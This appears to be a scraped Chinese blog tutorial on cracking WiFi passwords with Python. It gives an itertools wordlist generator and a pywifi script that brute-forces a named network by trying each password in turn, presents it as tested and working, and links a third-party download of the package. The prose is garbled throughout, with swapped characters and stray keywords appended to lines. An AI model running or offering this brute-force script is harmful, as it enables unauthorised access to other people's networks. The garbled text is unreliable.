俗话说“小时偷针,大时偷鸡”,来告诉咱们从小要养成良好的行为习惯。可是自从走上程序员这条路之后,学习变得枯燥,明明颇有时间,“却变得没有时间了”,总之学习效率特别低效。自从看了老牌CSDN 排名TOP1故过后,发现仍是得从兴趣或者游戏入手学习效率才可能变得可观。闲话少说,下面开始详细介绍Python破解WIFI密码过程:python
Python提供了一个很是有用的包来获取网络端口并与之交流(这个词自我感受比较贴切一点),因此首先咱们先安装pywifi这个包:程序员
1,win+r, 而后输入cmd,(win键就是键盘左下第三个键,带有窗口图标),以下图算法
2,一开始我用常规安装命令,install pip pywifi,出现报错。由于这个包不能用pip直接下载了(怕坏人学这个干坏事。。。本身脑补)。这个包我百度网盘有:https://pan.baidu.com/s/1PAkD2MyXmXpyRolH-bFaSA,提取码:k1e7。下载之后须要解压,而后安装在C盘(由于命令行在C盘很方便),我安装在C盘更目录下。网络
直接安装报错:app
下载后解压:学习
命令行输入cd .. 都根目录(cd ..表示返回上一级目录),而后输入install pywifi .(后面有一个点不能省略,下图有错误示范):测试
1,先在桌面生成一个密码本,里面包含密码,生成密码比较浪费时间,能够包含数字,字母大小写,其余字符。这里我以数字为例:加密
import itertools as its import datetime #记录程序运行时间 start=datetime.datetime.now() words = '1234567890'#这里能够加入字母和其余字符,使用string包更方便 # 生成密码的位数 r = its.product(words,repeat=4)#4即生成4位密码,正常状况下热点密码位数为8 dic =open(r"C:\Users\Administrator\Desktop\paswwer.txt",'a') for i in r: dic.write(''.join(i)) dic.write(''.join('\n')) print(i) dic.close() print('密码本生成好了') end=datetime.datetime.now() print("生成密码本一共用了多长时间:{}".format(end-start))
2,python 程序运行时间介绍:主要有2种方式,程序运行时间和获得cpu时钟时间(后者更更精确):命令行
#第一种 import datetime #也能够用time包,time.time()方法 start = datetime.datetime.now() #这里能够放入运行代码,比较直接 end = datetime.datetime.now() print (end-start) #第二种,获得CPU时钟 import time start = time.clock() #这里能够放入运行代码,比较直接 end = time.clock() print str(end-start)
3 ,结果。我用10位数字生成4位密码,结果以下(生成8位时间比较长,加入字母和其余字符后时间就很长了。。。。须要一台好电脑跑),固然加入所有字符后生成8位或者9位的密码本后,用穷举方法让程序所有跑一遍就很天然的能把密码找出来了(时间就比较长了,可是其实大部分人设置的密码主要以数字为主):code
打开密码本里面就有所构密码本了(我生成的是八位密码,上面程序修改一下参数便可):
须要本身修改一下对应的WIFI名称,亲测有用,只是时间比较长。。。。。。
# coding:utf-8 import pywifi from pywifi import const import time import datetime #测试链接,返回连接结果 def wifiConnect(pwd): #抓取网卡接口 wifi=pywifi.PyWiFi() #获取第一个无线网卡 ifaces=wifi.interfaces()[0] #断开全部链接 ifaces.disconnect() time.sleep(1) wifistatus=ifaces.status() if wifistatus ==const.IFACE_DISCONNECTED: #建立WiFi链接文件 profile=pywifi.Profile() #要链接WiFi的名称 profile.ssid="jiayi" #网卡的开放状态 profile.auth=const.AUTH_ALG_OPEN #wifi加密算法,通常wifi加密算法为wps profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密单元 profile.cipher=const.CIPHER_TYPE_CCMP #调用密码 profile.key=pwd #删除全部链接过的wifi文件 ifaces.remove_all_network_profiles() #设定新的链接文件 tep_profile=ifaces.add_network_profile(profile) ifaces.connect(tep_profile) #wifi链接时间 time.sleep(3) if ifaces.status()==const.IFACE_CONNECTED: return True else: return False else: print("已有wifi链接") #读取密码本 def readPassword(): print("开始破解:") #密码本路径 path="C:\Users\Administrator\Desktop/password.txt" #打开文件 file=open(path,"r") while True: try: #一行一行读取 pad=file.readline() bool=wifiConnect(pad) if bool: print("密码已破解: ",pad) print("WiFi已自动链接!!!") break else: #跳出当前循环,进行下一次循环 print("密码破解中....密码校对: ",pad) except: continue start=datetime.datetime.now() readPassword() end=datetime.datetime.now() print("破解WIFI密码一共用了多长时间:{}".format(end-start))